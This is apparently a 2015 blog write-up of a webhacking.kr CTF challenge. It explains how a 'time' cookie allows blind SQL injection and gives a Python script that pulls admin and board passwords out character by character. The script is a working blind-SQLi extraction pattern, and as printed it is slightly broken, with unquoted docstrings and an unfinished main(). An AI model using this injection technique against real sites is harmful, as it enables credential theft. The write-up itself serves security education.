webhacking.kr - 0ldzombie challenge writeup 2

Jun 12, 2015 • 0ldzombie, WebChallenges

0ldzombie has a great collection of Webhacking challenges which ranges from very basic ones to some very advanced attacks. We really enjoyed playing the challenges and here are the writeups.

I hope you have been through the 0ldzombie challenge 2 writeup. Now let us discuss the next challenge. Challenge 1 was fairly easy and straight forward while challenge 2 is a 500 point problem, so it’s not as easy like the last one. So let us see the way I approched the problem.

Note: I am putting up the write up on my blog so that if you are not able to complete the challenges after trying it for awhile, you can refer to the solution to see how I did it. Please don’t look into the solution before you try out the challenges by yourself.

Just like always, the first thing to look into is the source code of the challenge. At the first look, you might not see anything special in it.

<title>Project Progress</title>
<body bgcolor=black>
<table width=970 bgcolor=white>
<td colspan=5>
<img src="img/new_main.jpg" alt="" usemap="#main.jpg" style="border: 0;" />
<map name="main.jpg">
    <area shape="rect" coords="15,8,517,54" href="index.php" target="" alt="" />
    <area shape="rect" coords="339,63,403,93" href="about.php" target="" alt="" />
    <area shape="rect" coords="413,63,490,92" href="member.php" target="" alt="" />
    <area shape="rect" coords="500,63,582,92" href="research.php" target="" alt="" />
    <area shape="rect" coords="592,63,651,92" href="bbs/index.php" target="" alt="" />
    <area shape="rect" coords="662,64,745,93" href="fun.php" target="" alt="" />
    <area shape="rect" coords="756,63,825,93" href="contact.php" target="" alt="" />
    <area shape="rect" coords="851,7,890,65" href="admin/" target="" alt="" />

<a href=index.php><img src=img/new.jpg border=0></a><br>
<!--2015-06-13 12:53:02--></td>
<td width=88></td>

Anything looking suspicious ? Yes, the admin/ directory is directly exposed and if you go the url, it asks for admin password. Alright, so what now ? SQLi in the admin password box ? Well, I tried everything I could, but didn’t work. So I went back and took a look at the cookies in the page and I was suspicious when I saw a cookie named time. Strange isn’t it ? Also, one more notable thing is that the time is commented in the page source code like this <!--2015-06-13 12:53:02-->. Did anyone notice that in the first look ? Well, I didn’t !

Alright now let us tamper with cookies for sometime. I tried several things but then an idea struck me when I successfully got a Blind cookie based injection. Let us say the value of the time cookie is now 1434124382. I just modified the cookie value to 1434124382 and 1=1 and in the source code, the time comment got changed to 2070-01-01 09:00:01. Well that’s strange isn’t it ? Now let us make the condition false by changing the cookie to 1434124382 and 1=0 and I checked the source again. The comment just got changed to 2070-01-01 09:00:00.

You got the point? The moment the condition goes wrong, the last bit of the comment changes to 0 and if the condition is true, the last bit is 1. This is exactly what we wanted to have a successsful exploitation.

Also, in the same challenge, if you go to the board section, you can see that there is a message on the board, and if you click on the subject, they will ask you for the password. So basically, we need 2 passwords for a successful exploitation. I assumed that the admin password will be saved in a table named admin and I got a hint that the board password is in a table named FreeB0aRd. The main problem with the Blind injection is that if we try to do the same manually, it will take too much time. So I tried automating it in python and here is my code:

# Written by Anirudh Anand (lucif3r) : email - [email protected]

# This is the solution to 0ldzombie's Webhacking.kr Challenge 2: Blind SQL Injection
# The script uses requests library in python 3.4

import re
import requests
__author__ = 'lucif3r'

class Challenge2:

    def __init__(self):
        print("[+] Blind SQL injection for 0ldzombie challenge 2")
        self.PHPSESSID = "1gmj9l627im3q87fb5822topk3"
        self.board_pass = ""
        self.admin_pass = ""
        self.board_pass_length = 0
        self.admin_pass_length = 0
        self.url = "http://webhacking.kr/challenge/web/web-02/"

    def length_password(self, user):
        This function is trying to understand the length of the password of users given as
        a parameter.

        :param user:    -> The name of the user whose password length has to be found out.
        for i in range(1, 15):
            cookies = dict(PHPSESSID=self.PHPSESSID, time='1434109174 and (select length (password) from ' +
                                                          str(user) + ') = ' + str(i))
            req = requests.get(self.url, cookies=cookies)
            res = req.text
            temp = re.findall('2070-01-01 09:00:01', res)

            if temp and user == 'admin':
                self.admin_pass_length = i
                print('[+] Admin Password length = ' + str(self.admin_pass_length))

            if temp and user == 'FreeB0aRd':
                self.board_pass_length = i
                print('[+] FreeB0aRd Password length = ' + str(self.board_pass_length))
            temp = []

    def crack_password(self, user, pass_len):
        This function will try to crack the password if the username and the length
        of the password are provided. Use length_password() to find out the length of the password.

        :param user:        ->  username of whom the password has to be found out
        :param pass_len:    ->  Length of the password found out for the same user
        for j in range(1, pass_len+1):
            print("[+] Letters more to go: " + str(pass_len+1 - j))

            for i in range(33, 126):
                cookies = dict(PHPSESSID=self.PHPSESSID, time='1434114374 and (select ascii(substr(password, ' + str(j)
                                                              + ', 1)) from ' + str(user) + ') = ' + str(i))
                req = requests.get(self.url, cookies=cookies)
                res = req.text
                temp = re.findall('2070-01-01 09:00:01', res)
                if temp and user == 'admin':
                    self.admin_pass += chr(i)
                    print('[+] Admin Password till now = ' + str(self.admin_pass))

                if temp and user == 'FreeB0aRd':
                    self.board_pass += chr(i)
                    print('[+] FreeB0aRd Password till now = ' + str(self.board_pass))
                temp = []

    def print_vaules(self):
        print("\n ----------------------------------")
        print("[+] Admin Password Length = " + str(self.admin_pass_length))
        print("[+] Admin Password = " + str(self.admin_pass))
        print("[+] FreeB0aRd Password Length = " + str(self.board_pass_length))
        print("[+] FreeB0aRd Password = " + str(self.board_pass))
        print(" ---------------------------------- \n")

def main():
    challenge = Challenge2()
    challenge.crack_password('admin', 10)
    challenge.crack_password('FreeB0aRd', 9)

if __name__ == '__main__':

Grab the script from Github

So from this, you can get both the passwords, ie, the admin password and the board password. If you try to login with the board password, you will get a zip file to download which is password protected. Now login as admin in “admin/” page and you can get the password to unlock the zip archive.

If you solved the challenge in an easier way, do let me know. Let us share and learn :)

Anirudh Anand

Security Engineer @flipkart | Web Application Security ♥ | Google, Microsoft, Zendesk, Gitlab Hall of Fames | Blogger | CTF lover - @teambi0s | certs - eWDP, OSCP